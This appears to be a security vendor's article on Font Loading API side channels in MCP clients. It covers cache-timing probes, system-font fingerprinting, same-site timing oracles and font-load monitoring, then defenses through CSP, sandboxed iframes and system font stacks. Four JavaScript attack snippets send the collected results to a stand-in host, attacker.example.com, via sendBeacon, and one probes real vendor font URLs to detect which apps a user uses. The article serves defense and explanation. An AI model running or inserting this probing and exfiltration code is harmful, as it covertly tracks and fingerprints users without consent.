MCP server Font Loading API security — FontFaceSet.load() cache timing side channel, font fingerprinting, and cross-origin history sniffing

Font cache timing side channel mechanics

The FontFaceSet.load() method returns a Promise that resolves when the specified font is ready for use. The resolution time depends on whether the font is already in the browser's cache:

• Cached font: resolve time is typically 0.01–0.5ms (memory cache hit or disk cache without network)
• Uncached font: resolve time includes the full network round-trip, typically 20–200ms depending on CDN proximity

The difference is large enough to be reliably measured with performance.now(), which has 1ms precision (or 0.1ms in some contexts). An attacker can probe hundreds of font URLs in sequence, measuring each Promise resolution time to build a map of which fonts are cached.

Attack 1: FontFaceSet.load() timing probe

// Font cache timing probe using FontFaceSet.load().
// Tests whether each font URL is already cached.

async function probeFontCache(fontUrl, fontFamily) {
  // Add a FontFace using the test URL:
  const face = new FontFace(fontFamily, `url(${fontUrl})`);

  const start = performance.now();
  try {
    await face.load();
    const elapsed = performance.now() - start;
    return { fontUrl, elapsed, cached: elapsed < 5 };  // <5ms = cache hit heuristic
  } catch {
    return { fontUrl, elapsed: -1, cached: false, error: true };
  }
}

// Probe a list of distinctive fonts used by known applications:
const fontProbes = [
  // Salesforce uses "Salesforce Sans" from their CDN:
  { url: 'https://c1.sfdcstatic.com/etc/clientlibs/foundation/main.css/SalesforceSans-Regular.woff2', family: 'SalesforceSans' },
  // Figma uses "Inter" from their own CDN (distinct URL from Google Fonts CDN):
  { url: 'https://fonts.figma.com/css2?family=Inter:wght@400', family: 'FigmaInter' },
  // Notion uses "Segoe UI" fallback check — detects Windows users:
  { url: 'https://fonts.gstatic.com/s/inter/v13/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyfAZ9hiJ.woff2', family: 'Inter' },
  // Slack's custom font:
  { url: 'https://a.slack-edge.com/bv1-6/lato-v17-regular.woff2', family: 'SlackLato' },
  // GitHub uses "Mona Sans":
  { url: 'https://github.githubassets.com/assets/mona-sans.woff2', family: 'MonaSans' },
];

const results = [];
for (const probe of fontProbes) {
  const result = await probeFontCache(probe.url, probe.family);
  results.push({ ...result, family: probe.family });
}

// Send results to attacker:
navigator.sendBeacon('https://attacker.example.com/fonts', JSON.stringify(results));
// results reveals: which of these apps the user has recently used
// (their browser cached the font from a prior session)

Attack 2: document.fonts.check() synchronous detection

document.fonts.check() returns true synchronously if the specified font is already loaded and ready in the current document. Unlike load(), it does not trigger a network request — it only checks what's already in memory. For fonts that the current page has already loaded (via its own CSS), this is an instant detection with no timing oracle needed:

// document.fonts.check() detects fonts already loaded by the current page.
// No timing oracle needed — purely synchronous and instantaneous.

// Check which system fonts are available (reveals OS and font package):
const systemFonts = [
  'Arial',           // Windows/macOS
  'Helvetica',       // macOS
  'Calibri',         // Windows (Office)
  'Cambria',         // Windows (Office)
  'SF Pro Display',  // macOS (system UI font)
  'Segoe UI',        // Windows (system UI font)
  'Ubuntu',          // Linux Ubuntu
  'Fira Code',       // developer font — common on developer machines
  'JetBrains Mono',  // developer font — JetBrains IDE users
  'Consolas',        // Windows developer font
  'Roboto',          // Google/Android
  'Source Code Pro', // Adobe developer environments
];

const detectedFonts = systemFonts.filter(family => {
  // Check if the font is available at any weight/style:
  return document.fonts.check(`16px "${family}"`);
});

// system font presence reveals OS type, corporate font installations, IDE usage:
navigator.sendBeacon('https://attacker.example.com/sysfonts', JSON.stringify({
  detected: detectedFonts,
  total: systemFonts.length,
  platform: navigator.platform,
}));

// High-value detections:
// JetBrains Mono + Fira Code + Consolas → likely software developer
// Calibri + Cambria + Arial Narrow → likely Windows corporate environment
// SF Pro Display → macOS user
// Ubuntu → Linux developer
// Combination of corporate fonts (Segoe + Calibri) + developer fonts → valuable target

Attack 3: Font timing as a cross-origin timing oracle

Even with cache partitioning, font timing can be used as an oracle in same-origin or same-site contexts. MCP clients that serve both the client UI and tool output from the same origin allow injected tool output scripts to probe fonts that other pages on the same origin have already loaded:

// Same-site font timing oracle — unaffected by Chrome's cache partitioning.
// If the MCP client is at app.company.com and company.com loads specific fonts
// in its login page or dashboard, those fonts are shared in the same cache partition.

async function sameSiteFontOracle() {
  // These fonts are loaded by company.com/dashboard but NOT by app.company.com:
  const companySiteFonts = [
    'https://company.com/fonts/company-sans-regular.woff2',
    'https://company.com/fonts/company-mono.woff2',
  ];

  for (const fontUrl of companySiteFonts) {
    const face = new FontFace('TestFont', `url(${fontUrl})`);
    const t0 = performance.now();
    try {
      await face.load();
      const elapsed = performance.now() - t0;
      if (elapsed < 5) {
        // Fast load = already cached from company.com/dashboard visit
        // User is authenticated to company.com dashboard
        navigator.sendBeacon(
          `https://attacker.example.com/oracle?font=${encodeURIComponent(fontUrl)}&ms=${elapsed}`
        );
      }
    } catch { /* font not available or CORS-blocked */ }
  }
}

sameSiteFontOracle();

Attack 4: FontFace status property surveillance

The FontFace.status property exposes the load state of a font: 'unloaded', 'loading', 'loaded', or 'error'. Scripts can poll this to detect when the MCP client's own fonts transition between states — revealing loading sequence timing that can be correlated with specific user actions (login, data load, page transition):

// Poll FontFace status to reconstruct the page's font loading sequence.
// The timing of font state transitions correlates with authentication events.

async function monitorFontLoadSequence() {
  const loadEvents = [];

  // Observe all fonts currently registered or loading:
  for (const fontFace of document.fonts) {
    const family = fontFace.family;
    const initialStatus = fontFace.status;
    loadEvents.push({ family, event: 'initial', status: initialStatus, time: Date.now() });

    if (fontFace.status === 'loading') {
      fontFace.loaded.then(() => {
        loadEvents.push({ family, event: 'loaded', time: Date.now() });
      }).catch(() => {
        loadEvents.push({ family, event: 'error', time: Date.now() });
      });
    }
  }

  // Also monitor new fonts added to document.fonts during the session:
  // (No addEventListener on document.fonts for additions — use MutationObserver
  //  to detect <link rel="stylesheet"> additions that would load new fonts)

  setTimeout(() => {
    navigator.sendBeacon('https://attacker.example.com/font-seq', JSON.stringify(loadEvents));
  }, 5000);
}

monitorFontLoadSequence();

SkillAudit findings: Font Loading API in MCP server audits

Defenses

CSP font-src 'self' blocks cross-origin FontFace loading

# Caddy — restrict font loading to same-origin:
header Content-Security-Policy "default-src 'self'; font-src 'self'; connect-src 'self'; script-src 'self' 'nonce-{RANDOM}'"

# font-src 'self':
#   → FontFace constructor with cross-origin url() is blocked
#   → @font-face src in injected CSS is blocked
#   → Eliminates cross-origin font timing oracle channel
#   → Same-site font timing (same eTLD+1) is not blocked by font-src
#     but is mitigated by cache partitioning in Chrome 86+ / Firefox 85+

# connect-src 'self':
#   → Blocks sendBeacon() and fetch() exfiltration of timing results

# script-src 'nonce-{RANDOM}':
#   → Prevents inline tool output scripts from calling document.fonts

Cross-origin sandboxed iframe prevents document.fonts access

<iframe
  src="https://tool-renderer.skillaudit.dev/render"
  sandbox="allow-scripts">
  <!-- The iframe's document.fonts reflects only fonts loaded by the iframe's document.
       document.fonts inside a cross-origin iframe cannot access the parent's font cache.
       FontFaceSet.load() inside the iframe resolves against the iframe's own cache partition.
       System font detection via document.fonts.check() still works inside the iframe
       (system fonts are not partitioned), but the results cannot be sent cross-origin
       if the iframe's connect-src is also restricted. -->
</iframe>

Reduce font fingerprint surface

/* Minimize distinctive font loading on the MCP client:
 * Use system font stacks instead of custom web fonts where possible.
 * System fonts are already present — no network request, no cache entry to detect.
 * If custom fonts are required, load them from a shared CDN (not a company-specific URL)
 * so the font URL cannot uniquely identify the user's employer or product subscription. */

body {
  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
  /* System font stack: no web font request = no font cache timing attack surface */
}

SkillAudit checks MCP server CSP headers for font-src restrictions and flags deployments where tool output scripts can call document.fonts.load() against cross-origin font URLs. Run a free audit. Related: CSS exfiltration deep dive, Compression Streams security, ResizeObserver security.